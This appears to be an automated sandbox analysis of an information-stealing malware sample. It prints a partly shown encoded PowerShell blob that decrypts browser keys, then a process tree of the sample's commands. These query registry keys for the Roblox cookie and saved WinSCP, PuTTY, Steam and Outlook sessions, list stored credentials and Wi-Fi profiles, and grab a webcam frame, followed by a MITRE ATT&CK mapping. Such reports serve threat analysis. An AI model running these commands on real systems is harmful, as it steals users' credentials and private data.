yAGEAUQBRAEEAQQBBAEEASABBAEEAQQBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEAQwBBAEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBBAEEAQQBRAFoAZwBBAEEAQQBBAEUAQQBBAEMAQQBBAEEAQQBCAFUAQwB6AHEAOABpAHQANgBZADEAUwB0AE4AaQBsAEIASgByADIAeABoAEEAZABxAEwAeAAxAG0AVABYAFcAaABoAEwARQBwAHoATgA0ADIAYwBaAFEAQQBBAEEAQQBBAE8AZwBBAEEAQQBBAEEASQBBAEEAQwBBAEEAQQBBAEEARQBKAHUAcgBTAHcAbABlACsAQQBsAFUAcABoAFkARABXAHoAZQA0AE4AdQBKAFUAZABXAGYAVgBkAGEAZgBWAHQANwA2AEkAMQBGAEoAMABqAFIAcABBAEIAQQBBAEIAcwBiADUASAA4AGgAUABQAHcAMAA1AEQARQBRAHYASgB0AHcASwAwADkASAArADYAdQBNAHMAOABRADEAUwB6AHcAaQBSAGUAWABpAFMAbwBSAGIAMgA0ADQAaQB6AHIAMgBzADIAOQBFAE4AZQB1ADQAeQBSAEEAbQBFAE4ATwBMAFUAZAA4AHcAcwBZADcAZgAwAG4AegB5AE8ATgBBAEcAaAB5ACsAMQBlADYAVQBiAC8AQgByAEgAbgBrAEMAdABpAFYAZgBYAFEANQBoADAAWABHAEYAKwArAC8ARwB6AGEAbABaAEkAcgBGAGcAUgBFAGkAKwBVADcAQwBIAGcASgBlAEQATQBHAHQAdAAxAEIAbAA5AE4ANwBmAGQAcABoADIASgA4AGMAZAB0ADYASgAvADAAVgBSAEMASQBTAE8AVQAzAGQAVABxAHAAcgB0ADAASwBNAE0ATwBRAEIAMwBSAGMAbwBVAHMAcAA2AHoAaAAxAFQANQAwAFMAMgArADgAMgB4ADYAZwBPAHYANwBUAFYAZwBPACsASgBYAEkAaABqAFQAcwB3AFoAVwBHAEUAZgBpAFMAMwBXAHYASwB5AFgAdQB1AGgAdABvAFAATwBoADMANwBqAEYAUQBYAGgAUABHAEwASABnAGEAQwBsAEYAOQA5ADQAegBZAHAAYwBTAFEASwAzAFIAbgBLAEoAWgBhAEwAeABJAEoARQBuAHkARwBsAG8AawBkAFcAZwBPAFEAUABiAGoAdwBxAEEARABLAG0ATABkAFgAUgBEAFYAZQBVADMASwBnAGUAdQBLAGoAQQB6AGYANwBUAGgAaABpAEcAWQBTAGYANgB2AE4AbAB4AFcAKwBhAEMAegBRAHcANwAzADMALwBxAFYAYwB6AHAAVQBRAGYAUwBPAHkAUQBRAEkASAB1AGcANwBxAFoASAB4AGcAeQBaADMAYwB4AGcATgBrAFUASgBCAEsAdQBYAEwAWABvAEkAVwArAHAAcQBKAEYAMgBKAFkAbgBLAGcAcgBWAEIAawBJAHYAbQBVAHgAUQBWAHkANABtAHgAZgB4AFkAcgB1ADQAUABLAHYAWAB4AFQAdQB0AFQAUABWADMAVwBvAEQARgBFAFMAeQAzAGwARQB0ADYAawBZAHoAawBlAEsAeQBLAEEARgB6ADcAWgBKAFIAcwB1ADAAawBLAEIAaABkADMASQAxAG0AZgBhADcAbwByAE0ANAA4AEgATgBEAEkALwArAEwAZQBGADIAMwBwAHQASgByAHEAYQBQAGEAUABmAHIAdQAvAEkAYQB1AG0AQwA2AEcAbgB4AFAAKwBwAHIAeQAxAGIATABsAEQAbwAvAFcAbgA3AFkAVAB0AEMANQBHAEkAeQBjAEcAQQBSAFUAMwA3AFEAQQBBAEEAQQBJAGwAUgA0AEEAQgBEAFEAdQBoAEQAagBEAE8AOABoAEQAaQBOAGUAZABCAGkALwA3AEUANwBiAGYAeQByADIAaABHADIAegA4AEQAUwA0AEsAZQBwAFcAMwAvAEgAbgA3AHMAVABqAHcAbwBNAHMAVwBKAHYAOQBRAEYAYQBBADMAWABqAEkARgBIAHEAcwA3AFEAQwBoAGMAUwA1AFgAOAAzAGIAbQBwAEkAPQAnAAoAJABlAG4AYwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEwAYQB0AGkAbgAxAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgApACkACgBmAG8AcgBlAGEAYwBoACgAJABjACAAaQBuACAAQAAoACcAewA3ADAAOAA4ADYAMABFADAALQBGADYANAAxAC0ANAA2ADEAMQAtADgAOAA5ADUALQA3AEQAOAA2ADcARABEADMANgA3ADUAQgB9ACcALAAnAHsARABEADIAQwBDADAANABBAC0ARAAzAEQAMwAtADQARABDAEEALQBCAEQAQgA3AC0ARQAwADcARgA0AEIAMAA1AEIANQBGADkAfQAnACwAJwB7AEQAQQA3AEYARABDAEEANQAtADIAQwBBAEEALQA0ADYAMwA3AC0AQQBBADEANwAtADAANwA0ADAANQA4ADQARABFADcARABBAH0AJwAsACcAewA3ADAANABDADIAOAA3ADIALQAyADAANAA5AC0ANAAzADUARQAtAEEANAA2ADkALQAwAEEANQAzADQAMwAxADMAQwA0ADIAQgB9ACcALAAnAHsANQA3ADYAQgAzADEAQQBGAC0ANgAzADYAOQAtADQAQwBCAEIALQBCADMANAA1AC0ANgBCADgAOABFADgAQgBBAEIAMwBDAEUAfQAnACkAKQB7AAoAIAAgACAAIAB0AHIAeQB7AAoAIAAgACAAIAAgACAAIAAgACQAZQBsAD0AWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKABbAFQAeQBwAGUAXQA6ADoARwBlAHQAVAB5AHAAZQBGAHIAbwBtAEMATABTAEkARAAoAFsARwB1AGkAZABdACQAYwAsACQAdAByAHUAZQApACkAIAAtAGEAcwAgAFsASQBFAGwAZQB2AGEAdABvAHIAXQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAhACQAZQBsACkAewBjAG8AbgB0AGkAbgB1AGUAfQAKACAAIAAgACAAIAAgACAAIAAkAGQAZQBjAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBFAG0AcAB0AHkAOwAkAGUAcgByAD0AWwB1AGkAbgB0ADMAMgBdADAACgAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAGwALgBEAGUAYwByAHkAcAB0AEQAYQB0AGEAKAAkAGUAbgBjACwAWwByAGUAZgBdACQAZABlAGMALABbAHIAZQBmAF0AJABlAHIAcgApACAALQBlAHEAIAAwACAALQBhAG4AZAAgACQAZABlAGMALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEMAbwBuAHMAbwBsAGUAXQA6ADoAVwByAGkAdABlAEwAaQBuAGUAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoATABhAHQAaQBuADEALgBHAGUAdABCAHkAdABlAHMAKAAkAGQAZQBjACkAKQApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQB4AGkAdAAgADAACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQBjAGEAdABjAGgAewB9AAoAfQA=
    3⤵
    PID:3068
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\supvtvoi\supvtvoi.cmdline"
      4⤵
      PID:1404
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD056.tmp" "c:\Users\Admin\AppData\Local\Temp\supvtvoi\CSCECBC06E0E455496D99D8B6525C7832E.TMP"
        5⤵
        
        PID:3576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:472
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5148
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:3224
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1504
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:3352
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5788
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1440
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:3688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4680
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1536
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:4560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1960
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4756
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:2168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com" /v ".ROBLOSECURITY" 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:2756
- - C:\Windows\system32\reg.exe
    reg query "HKCU\SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com" /v ".ROBLOSECURITY"
    3⤵
    PID:2108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:2192
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:3228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:6084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1240
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2064
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:5992
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
    3⤵
    PID:5548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:5244
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
    3⤵
    PID:3492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:1056
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4936
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:2024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "& { try { & ffmpeg -f dshow -i video='0' -frames:v 1 'C:\Users\Admin\AppData\Local\Temp\orbit_vc_h3a38fuxeal.png' -y 2>$null } catch {} }""
  2⤵
  - Executes a command shell one-liner
  PID:2480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "& { try { & ffmpeg -f dshow -i video='0' -frames:v 1 'C:\Users\Admin\AppData\Local\Temp\orbit_vc_h3a38fuxeal.png' -y 2>$null } catch {} }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\vc_pr0qhf4s7vk.ps1""
  2⤵
  - Executes a command shell one-liner
  PID:1508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\vc_pr0qhf4s7vk.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4956
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yk5b5q0j\yk5b5q0j.cmdline"
      4⤵
      PID:4564
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF708.tmp" "c:\Users\Admin\AppData\Local\Temp\yk5b5q0j\CSC9AE06CD9A7FE483492AD4B387EE97522.TMP"
        5⤵
        
        PID:1708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:4508
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3800
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:4852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:200
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Valve\Steam" /v SteamPath
    3⤵
    PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Executes a command shell one-liner
  PID:6064
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:4920
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:3576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles" /s 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:5392
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles" /s
    3⤵
    PID:5228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
  2⤵
  - Executes a command shell one-liner
  PID:5008
- - C:\Windows\system32\cmdkey.exe
    cmdkey /list
    3⤵
    PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles 2>nul"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2248
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2632

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Network Service Discovery

T1046

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Command and Control

Exfiltration

Impact